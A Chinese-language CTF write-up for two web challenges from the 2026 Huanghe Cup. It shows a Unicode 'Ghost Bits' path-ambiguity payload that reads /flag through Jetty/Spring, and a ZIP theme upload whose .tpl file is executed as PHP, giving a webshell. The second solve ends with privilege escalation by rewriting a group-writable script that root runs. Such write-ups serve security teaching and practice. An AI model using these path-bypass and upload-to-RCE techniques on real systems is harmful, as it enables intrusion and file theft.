黄鹤杯-2026-web
作者:Erina
4 分钟阅读 488 字
归档
CTF
目录
馆藏检索系统-HHB2026
首页提示了:
ARCHIVE NODE / INTERNAL PREVIEW- 后端框架为
Spring 某些 URI 可能在不同组件中被解释为不同含义notice: path review pending
直接访问常见敏感路径,/WEB-INF/web.xml 返回 Spring 风格报错:
HTTP/1.1 500 Server ErrorContent-Type: application/json
{"timestamp":"...","status":999,"error":"None"}继续测试 %u002e 等歧义路径:/%u002e/WEB-INF/web.xml,可以看到 Jetty
返回了报错:
org.eclipse.jetty.http.BadMessageException: 400: Ambiguous URI path segment, UTF-16 encoding所以显然考点是Ghost Bits攻击,直接利用以下路径格式即可读取flag:
/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/阮严灵丰丰甲来/fla%67其中 fla%67 解码后为 flag,用于读取根目录 /flag。
ezz_upload-HHB2026
题目是一个“主题包上传 / 主题预览中心”。上传检查只限制 ZIP
内文件后缀和控制文件名,但预览时会 include preview.tpl,因此 .tpl 文件中的
PHP 代码会被执行。拿到 Web RCE 后,发现 root 周期执行的维护脚本
/var/lib/.ezz_upload/.maintenance/root-task.sh 对 ctf
组可写,改写该脚本即可让 root 将 /flag 拷贝到 Web 目录。
首页下载示例主题包,内容如下:
manifest.jsonpreview.tplassets/cover.png其中 preview.tpl 内容似乎是 PHP 短标签模板:
<section> <h1><?= h($themeTitle) ?></h1> <p><?= h($themeTagline) ?></p></section>尝试直接写入php马,成功,得到 shell。
RCE 后读取入口脚本可见:
#!/bin/shset -eu
task="/var/lib/.ezz_upload/.maintenance/root-task.sh"
( while true; do /bin/sh "$task" >/tmp/root-task.log 2>&1 || true sleep 10 done) &
exec su -s /bin/sh ctf -c 'php -S 0.0.0.0:8080 -t /opt/app-root/src'这里root权限执行的维护脚本权限如下:
-rw-rw-r-- 1 root ctf 115 /var/lib/.ezz_upload/.maintenance/root-task.sh可写,所以直接写入命令读出flag即可。
#!/bin/shset -eucat /flag > /opt/app-root/src/flag.txtchmod 644 /opt/app-root/src/flag.txt